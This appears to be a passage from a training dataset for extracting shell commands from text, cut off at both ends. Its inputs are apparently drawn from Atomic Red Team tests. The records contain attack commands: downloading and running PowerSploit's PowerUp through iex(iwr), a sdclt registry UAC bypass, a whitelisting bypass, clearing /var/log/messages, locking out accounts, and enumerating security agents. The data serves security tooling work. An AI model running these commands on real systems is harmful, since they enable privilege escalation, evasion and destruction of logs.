$env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To observe the behavior of IcedID and Trickbot's TTP, execute these commands: rundll32.exe url.dll,OpenURL \"PathToAtomicsFolder\\T1218.011\\src\\index.hta\"\nrundll32.exe URL.dll,FileProtocolHandler \"PathToAtomicsFolder\\T1218.011\\src\\akteullen.vbs\"\n. The HTA file will launch the calculator, and the VBS script will show a dialog message.",
    "output": "{\"command_list\": [\"rundll32.exe url.dll,OpenURL \\\"PathToAtomicsFolder\\\\T1218.011\\\\src\\\\index.hta\\\"\\nrundll32.exe URL.dll,FileProtocolHandler \\\"PathToAtomicsFolder\\\\T1218.011\\\\src\\\\akteullen.vbs\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test prevents account access by modifying the password via the command: passwd #{user_account} #enter admin password > enter new password > confirm new password",
    "output": "{\"command_list\": [\"passwd #{user_account} #enter admin password > enter new password > confirm new password\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The ScriptRunner.exe binary can be exploited to bypass whitelisting, as demonstrated by executing: Scriptrunner.exe -appvscript \"#{payload_path}\"",
    "output": "{\"command_list\": [\"Scriptrunner.exe -appvscript \\\"#{payload_path}\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Simulating a double click action, this command runs an HTA Application with the JScript script engine: Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick",
    "output": "{\"command_list\": [\"Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify security software running on an endpoint, use the following command which will display any AV or security applications when successfully executed: pgrep -l 'bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd'",
    "output": "{\"command_list\": [\"pgrep -l 'bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To clear the system log file, use the following command: echo '' > /var/log/messages",
    "output": "{\"command_list\": [\"echo '' > /var/log/messages\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This process generates a Root certificate and saves it as a pfx file by executing the command: $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nSet-Location Cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert  Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath #{pfx_path}\n",
    "output": "{\"command_list\": [\"$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\\\LocalMachine\\\\My\\nSet-Location Cert:\\\\LocalMachine\\\\My\\nExport-Certificate -Type CERT -Cert  Cert:\\\\LocalMachine\\\\My\\\\$($cert.Thumbprint) -FilePath #{pfx_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To bypass User Account Control via a fileless registry method, which will spawn cmd.exe and then notepad.exe through sdclt.exe, use the following command:\nNew-Item -Force -Path \"HKCU:\\\\Software\\\\Classes\\\\Folder\\\\shell\\\\open\\\\command\" -Value '#{command_to_execute}'\nNew-ItemProperty -Force -Path \"HKCU:\\\\Software\\\\Classes\\\\Folder\\\\shell\\\\open\\\\command\" -Name \"DelegateExecute\"\nStart-Process -FilePath $env:windir\\\\system32\\\\sdclt.exe\nStart-Sleep -s 3\n",
    "output": "{\"command_list\": [\"New-Item -Force -Path \\\"HKCU:\\\\Software\\\\Classes\\\\Folder\\\\shell\\\\open\\\\command\\\" -Value '#{command_to_execute}'\\nNew-ItemProperty -Force -Path \\\"HKCU:\\\\Software\\\\Classes\\\\Folder\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\"\\nStart-Process -FilePath $env:windir\\\\system32\\\\sdclt.exe\\nStart-Sleep -s 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form 